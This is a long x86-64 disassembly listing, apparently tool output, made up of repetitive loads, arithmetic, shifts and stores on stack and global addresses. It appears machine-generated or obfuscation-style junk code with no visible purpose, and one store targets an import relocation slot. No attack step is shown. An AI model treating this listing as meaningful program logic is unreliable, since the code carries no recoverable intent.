movsx eax, word [rax]
movsx ecx, word [rsp + 0xbd8]
and eax, ecx
mov word [rsp + 0x8dc], ax
lea rax, [rsp + 0x182]
mov qword [rsp + 0x86d0], rax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x1ec]
add eax, ecx
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x5bf8]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x61d0]
mov qword [rcx], rax
lea rax, [rsp + 0x2a80]
mov qword [rsp + 0x86d8], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2db4], eax
lea rax, [rsp + 0x79b8]
mov qword [rsp + 0x86e0], rax
lea rax, [rsp + 0x888]
mov qword [0x14017a7f0], rax
mov rax, qword [rsp + 0x5488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [0x14017a7a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x181]
mov qword [rsp + 0x86e8], rax
movsx eax, word [rsp + 0xd00]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7f60]
mov word [rcx], ax
mov rax, qword [rsp + 0x7c28]
mov eax, dword [rax]
mov dword [rsp + 0x30d0], eax
mov rax, qword [rsp + 0x5528]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54e8]
mov qword [rcx], rax
lea rax, [rsp + 0x6548]
mov qword [rsp + 0x86f0], rax
mov eax, dword [rsp + 0x2c80]
mov ecx, dword [rsp + 0x2da8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x83b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0x5bf0]
movsx eax, word [rax]
mov rcx, qword [0x14017a648]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140178fd4], ax
lea rax, [rsp + 0x1e7]
mov qword [rsp + 0x86f8], rax
mov rax, qword [rsp + 0x70e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x84e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd88], ax
lea rax, [rsp + 0x184]
mov qword [rsp + 0x8700], rax
mov rax, qword [rsp + 0x5b88]
movzx ecx, al
mov rax, qword [str.kD3]
sar rax, cl
mov qword [rsp + 0x7020], rax
mov rax, qword [rsp + 0x6c90]
mov rcx, qword [rsp + 0x6d60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5130]
mov qword [rsp + 0x8708], rax
mov rax, qword [rsp + 0x72f8]
mov rcx, qword [rsp + 0x7b80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6470]
mov dword [rcx], eax
movzx eax, word [rsp + 0x87c]
mov word [rsp + 0xefc], ax
movzx eax, word [rsp + 0xd3c]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov word [0x140178f88], ax
movzx eax, word [0x14017a0f8]
movzx ecx, word [rsp + 0xb54]
and eax, ecx
mov word [rsp + 0x978], ax
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8d]
add eax, ecx
mov rcx, qword [rsp + 0x7b60]
mov byte [rcx], al
mov rax, qword [rsp + 0x65f0]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0x6060]
mov ecx, dword [rsp + 0x2bac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x7ac8]
mov qword [rsp + 0x8710], rax
mov rax, qword [rsp + 0x8350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7868]
mov dword [rcx], eax
lea rax, [rsp + 0x6010]
mov qword [rsp + 0x8718], rax
mov rax, qword [rsp + 0x5d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x130]
add eax, ecx
mov rcx, qword [rsp + 0x7430]
mov byte [rcx], al
lea rax, [rsp + 0xae0]
mov qword [0x14017a7f8], rax
movsx eax, word [rsp + 0x860]
movsx ecx, word [rsp + 0xd34]
add eax, ecx
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0x5a78]
movzx eax, byte [rax]
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0x7bd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7e]
or eax, ecx
mov byte [rsp + 0x1f4], al
lea rax, [rsp + 0x2b08]
mov qword [rsp + 0x8720], rax
mov rax, qword [rsp + 0x5978]
mov rcx, qword [rsp + 0x8120]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7480], rax
mov rax, qword [rsp + 0x7228]
mov rcx, qword [rsp + 0x77e8]
mov qword [rsp + 0x8728], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8728]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6968], rax
mov rax, qword [rsp + 0x7368]
mov eax, dword [rax]
mov dword [rsp + 0x30d4], eax
movzx eax, word [rsp + 0xd08]
movzx ecx, word [rsp + 0xe88]
shl eax, cl
mov rcx, qword [rsp + 0x7cc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x8380]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a6a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x990]
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0x7ec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x73d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a378]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0x7410]
mov rcx, qword [rsp + 0x5288]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5b50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2fb4]
mov dword [rsp + 0x30d8], eax
mov rax, qword [rsp + 0x71e8]
mov ecx, dword [rsp + 0x2efc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a18], eax
mov rax, qword [rsp + 0x8280]
mov rcx, qword [rsp + 0x6980]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7810], rax
mov rax, qword [rsp + 0x76a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
mov byte [0x140178f1b], al
lea rax, [rsp + 0x192]
mov qword [rsp + 0x8730], rax
mov rax, qword [rsp + 0x55c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9a8], ax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x8738], rax
mov rax, qword [rsp + 0x65d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc54], ax
mov eax, dword [rsp + 0x2a8c]
mov dword [rsp + 0x30dc], eax
mov rax, qword [rsp + 0x5008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8348]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70a0]
mov rcx, qword [rsp + 0x5060]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x85f0]
mov dword [rcx], eax
lea rax, [rsp + 0x5348]
mov qword [rsp + 0x8740], rax
mov rax, qword [rsp + 0x59b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb8]
sar eax, cl
mov rcx, qword [0x14017a780]
mov word [rcx], ax
mov rax, qword [rsp + 0x7298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cf8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x66f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x218], al
mov rax, qword [rsp + 0x6c68]
movsx eax, word [rax]
movsx ecx, word [0x140178eb8]
xor eax, ecx
mov word [rsp + 0x944], ax
movsx eax, byte [rsp + 0x15c]
movsx ecx, byte [rsp + 0x142]
and eax, ecx
mov rcx, qword [rsp + 0x8358]
mov byte [rcx], al
lea rax, [rsp + 0x2da4]
mov qword [rsp + 0x8748], rax
mov rax, qword [rsp + 0x8470]
mov rcx, qword [rsp + 0x6890]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c80]
mov qword [rcx], rax
lea rax, [rsp + 0x3004]
mov qword [rsp + 0x8750], rax
mov rax, qword [rsp + 0x4b30]
mov rcx, qword [rsp + 0x8438]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58a0], rax
movsx eax, word [0x140178fd4]
mov rcx, qword [rsp + 0x66b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a188]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc8]
movzx ecx, byte [rsp + 0x162]
sub eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov byte [rcx], al
movzx eax, word [rsp + 0xca8]
mov word [rsp + 0xf08], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xf7]
add eax, ecx
mov rcx, qword [rsp + 0x8700]
mov byte [rcx], al
movzx eax, word [rsp + 0xe0c]
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0x64b8]
mov rcx, qword [rsp + 0x5150]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2e88], eax
mov rax, qword [rsp + 0x59f8]
mov rcx, qword [rsp + 0x7138]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29dc], eax
mov rax, qword [rsp + 0x4e60]
mov qword [rsp + 0x8758], rax
mov rax, qword [rsp + 0x66d8]
mov rcx, qword [rsp + 0x8520]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5088]
mov qword [rcx], rax
lea rax, [rsp + 0x1b8]
mov qword [0x14017a800], rax
lea rax, [rsp + 0x990]
mov qword [rsp + 0x8760], rax
movzx eax, byte [rsp + 0x177]
mov rcx, qword [rsp + 0x7750]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0x8768], rax
mov rax, qword [rsp + 0x7500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ff0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x4f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
mov qword [rsp + 0x8770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8770]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x52a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e68]
mov qword [rsp + 0x8778], rax
mov eax, dword [rsp + 0x2a60]
movzx ecx, al
mov eax, dword [rsp + 0x2ad0]
sar eax, cl
mov dword [rsp + 0x2ff8], eax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x8780], rax
movsx eax, byte [rsp + 0x187]
mov rcx, qword [0x14017a490]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14017a258]
mov byte [rcx], al
mov rax, qword [rsp + 0x7248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaec]
and eax, ecx
mov word [rsp + 0xe9c], ax
mov rax, qword [rsp + 0x67e0]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e72]
add eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0x5440]
movzx eax, byte [rax]
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0x62e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6268]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xda8], ax
mov rax, qword [rsp + 0x4fd0]
mov qword [rsp + 0x8788], rax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2db4], eax
mov rax, qword [rsp + 0x8630]
mov rcx, qword [rsp + 0x6658]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x55d0]
mov qword [rsp + 0x8790], rax
mov rax, qword [0x14017a2e0]
movzx eax, word [rax]
mov word [0x14017a808], ax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0xb3], al
lea rax, [rsp + 0x189]
mov qword [rsp + 0x8798], rax
mov rax, qword [rsp + 0x6b90]
movzx eax, word [rax]
mov rcx, qword [0x14017a5c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa2c], ax
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x87a0], rax
mov eax, dword [rsp + 0x2e7c]
mov ecx, dword [rsp + 0x2b2c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ca8]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ef8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5848]
mov rax, qword [rax]
mov qword [rsp + 0x87a8], rax
mov rax, qword [rsp + 0x74b8]
movzx ecx, al
mov rax, qword [rsp + 0x58e8]
shr rax, cl
mov rcx, qword [rsp + 0x69c8]
mov qword [rcx], rax
mov rax, qword [0x14017a5a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x64d0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14017a590]
mov word [rcx], ax
lea rax, [rsp + 0xf0c]
mov qword [rsp + 0x87b0], rax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x6398]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [0x14017a148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7e78]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6688]
mov byte [rcx], al
mov rax, qword [rsp + 0x6188]
movzx eax, word [rax]
mov word [rsp + 0xf10], ax
mov rax, qword [rsp + 0x6060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d08], eax
lea rax, [rsp + 0x6390]
mov qword [rsp + 0x87b8], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x6868]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0x8780]
mov rcx, qword [rsp + 0x80c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x76d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x13a]
mov byte [rsp + 0x21a], al
lea rax, [rsp + 0xa3]
mov qword [0x14017a810], rax
movsx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0x7f60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6700]
mov word [rcx], ax
lea rax, [0x140178f98]
mov qword [rsp + 0x87c0], rax
mov rax, qword [rsp + 0x6b90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ff0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7b90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
mov rcx, qword [rsp + 0x69e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d44], eax
lea rax, [0x14017a058]
mov qword [rsp + 0x87c8], rax
mov rax, qword [rsp + 0x4ec8]
mov rcx, qword [rsp + 0x5b20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5c30], rax
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x87d0], rax
mov rax, qword [rsp + 0x7a20]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a0ce]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x59e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbf0]
add eax, ecx
mov word [0x140178f48], ax
mov rax, qword [rsp + 0x80d0]
movzx eax, byte [rax]
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0x5db8]
movsx eax, word [rax]
movsx ecx, word [0x14017a680]
and eax, ecx
mov word [rsp + 0xd10], ax
movzx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x106], al
lea rax, [rsp + 0x3074]
mov qword [rsp + 0x87d8], rax
mov eax, dword [rsp + 0x2e30]
movzx ecx, al
mov eax, dword [rsp + 0x2c9c]
sar eax, cl
mov rcx, qword [rsp + 0x5408]
mov dword [rcx], eax
lea rax, [rsp + 0x6c60]
mov qword [rsp + 0x87e0], rax
mov rax, qword [rsp + 0x8120]
mov rcx, qword [rsp + 0x5da0]
mov qword [rsp + 0x87e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x87e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7a58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc08]
xor eax, ecx
mov word [rsp + 0xe54], ax
movzx eax, word [rsp + 0xa70]
movzx ecx, word [rsp + 0xdd8]
add eax, ecx
mov word [0x140178fd8], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x21c], al
movzx eax, word [0x140178f98]
mov rcx, qword [rsp + 0x7f78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x4ba0]
movzx eax, byte [rax]
mov byte [rsp + 0x21d], al
mov rax, qword [rsp + 0x5c40]
mov rcx, qword [rsp + 0x85e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8070]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8188]
mov rcx, qword [rsp + 0x59c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f98], rax
lea rax, [rsp + 0x3020]
mov qword [rsp + 0x87f0], rax
mov rax, qword [rsp + 0x8148]
mov ecx, dword [0x14017a064]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7880]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e6]
mov byte [rsp + 0x21e], al
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [0x14017a1a6], al
movsx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0x8610]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7cc8]
movzx eax, word [rax]
mov word [rsp + 0xf14], ax
movzx eax, byte [rsp + 0x216]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x1c7], al
mov rax, qword [rsp + 0x6f58]
movsx eax, byte [rax]
movsx ecx, byte [0x140178eab]
sub eax, ecx
mov rcx, qword [rsp + 0x5390]
mov byte [rcx], al
lea rax, [rsp + 0x2e4c]
mov qword [rsp + 0x87f8], rax
mov rax, qword [rsp + 0x65c0]
mov ecx, dword [rsp + 0x2ff0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30d0], eax
mov rax, qword [rsp + 0x5a50]
mov qword [rsp + 0x8800], rax
mov rax, qword [rsp + 0x59d0]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7eb0]
mov qword [rcx], rax
lea rax, [rsp + 0xb48]
mov qword [0x14017a818], rax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov rcx, qword [0x14017a268]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x138], al
movzx eax, word [rsp + 0x8e0]
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0x54c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa0c], ax
mov rax, qword [rsp + 0x7f28]
movzx eax, byte [rax]
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3014]
shl eax, cl
mov rcx, qword [rsp + 0x57e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6128]
mov rcx, qword [rsp + 0x79a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x86f0]
mov qword [rcx], rax
lea rax, [rsp + 0x6840]
mov qword [rsp + 0x8808], rax
mov rax, qword [rsp + 0x74e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a68]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6b48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7ec8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [reloc.SHELL32.dll_SHGetNewLinkInfoW], ax
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
mov byte [rsp + 0x220], al
mov rax, qword [0x14017a3d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f4]
add eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0x6830]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5640]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x884], ax
movzx eax, byte [rsp + 0x1be]
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0x62c8]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6388]
mov dword [rcx], eax
lea rax, [rsp + 0x5720]
mov qword [rsp + 0x8810], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x77e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6618], rax
lea rax, [rsp + 0x2a50]
mov qword [rsp + 0x8818], rax
movsx eax, word [rsp + 0x90c]
mov rcx, qword [rsp + 0x6c68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a7b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x71b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov rcx, qword [rsp + 0x5098]
mov byte [rcx], al
movzx eax, word [rsp + 0xa68]
movzx ecx, word [rsp + 0xd64]
add eax, ecx
mov word [rsp + 0xa78], ax
movzx eax, word [rsp + 0x9b0]
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0x64a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x186], al
mov eax, dword [rsp + 0x2ca8]
mov dword [rsp + 0x30e0], eax
mov rax, qword [rsp + 0x52f8]
mov rcx, qword [rsp + 0x7540]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6e38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e34]
mov rcx, qword [rsp + 0x7cc0]
mov qword [rsp + 0x8820], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8820]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3058], eax
mov rax, qword [rsp + 0x7828]
mov qword [rsp + 0x8828], rax
movzx eax, word [rsp + 0xa34]
mov word [0x14017a820], ax
movzx eax, word [rsp + 0xee0]
movzx ecx, word [0x14017a140]
xor eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x12d]
mov byte [rsp + 0x222], al
mov rax, qword [rsp + 0x6898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x206]
and eax, ecx
mov rcx, qword [rsp + 0x6c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x7bd8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a0e5]
sub eax, ecx
mov byte [rsp + 0x174], al
lea rax, [rsp + 0x5610]
mov qword [rsp + 0x8830], rax
mov rax, qword [rsp + 0x7408]
mov ecx, dword [rsp + 0x2eb0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x82b8]
mov eax, dword [rax]
mov dword [rsp + 0x30e4], eax
mov rax, qword [rsp + 0x74b8]
mov rcx, qword [0x140178e60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50a0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8a8]
movzx ecx, word [rsp + 0xcdc]
add eax, ecx
mov word [0x140178fd0], ax
mov rax, qword [rsp + 0x54d0]
movsx eax, word [rax]
movsx ecx, word [0x140178eb4]
and eax, ecx
mov rcx, qword [rsp + 0x6d88]
mov word [rcx], ax
lea rax, [rsp + 0xb9c]
mov qword [rsp + 0x8838], rax
movzx eax, byte [rsp + 0x1e5]
mov rcx, qword [rsp + 0x5a18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6668]
mov byte [rcx], al
mov rax, qword [rsp + 0x6398]
movzx eax, byte [rax]
mov byte [rsp + 0x223], al
mov rax, qword [rsp + 0x6248]
mov ecx, dword [rsp + 0x2ab8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30b4], eax
lea rax, [rsp + 0x3094]
mov qword [rsp + 0x8840], rax
mov rax, qword [rsp + 0x5410]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5c30], rax
mov rax, qword [rsp + 0x7a58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8628]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6220]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14017a2c8], ax
lea rax, [0x140178f84]
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x79e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7970]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x79d8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe54]
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x63a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x97]
sar eax, cl
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x8118]
movzx ecx, al
mov rax, qword [rsp + 0x4ed8]
shl rax, cl
mov qword [rsp + 0x5af0], rax
mov eax, dword [rsp + 0x2fa4]
mov dword [rsp + 0x30e8], eax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x5c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5848]
mov qword [rcx], rax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x8850], rax
movzx eax, word [rsp + 0xbcc]
movzx ecx, word [rsp + 0xab4]
add eax, ecx
mov word [0x140178fe0], ax
mov rax, qword [0x14017a548]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6320]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ff0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
lea rax, [rsp + 0xdd]
mov qword [rsp + 0x8858], rax
movsx eax, byte [0x140178ea6]
movsx ecx, byte [rsp + 0x159]
sub eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
mov qword [rsp + 0x8860], rax
mov rax, qword [rsp + 0x6880]
mov ecx, dword [rsp + 0x2c18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x82b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6120]
mov eax, dword [rax]
mov dword [rsp + 0x30ec], eax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x8218]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5d08], rax
movzx eax, byte [rsp + 0x1cd]
movzx ecx, byte [0x140178edf]
sub eax, ecx
mov rcx, qword [rsp + 0x5ff0]
mov byte [rcx], al
